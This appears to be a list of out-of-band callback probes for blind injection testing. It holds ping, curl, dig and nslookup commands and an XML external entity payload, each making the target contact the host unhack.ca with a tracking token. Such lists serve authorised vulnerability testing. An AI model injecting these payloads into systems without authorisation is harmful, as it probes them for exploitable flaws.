$ ping -c1 -p 00cb55f863ffc3843faca0126cc17d00 unhack.ca
$ curl http://unhack.ca/p/cb55f863ffc3843faca0126cc17d
$ dig cb55f863ffc3843faca0126cc17d @unhack.ca
$ dig cb55f863ffc3843faca0126cc17d.ns.unhack.ca
C:\> nslookup cb55f863ffc3843faca0126cc17d unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/cb55f863ffc3843faca0126cc17d">]> <foo>&xxe;</foo>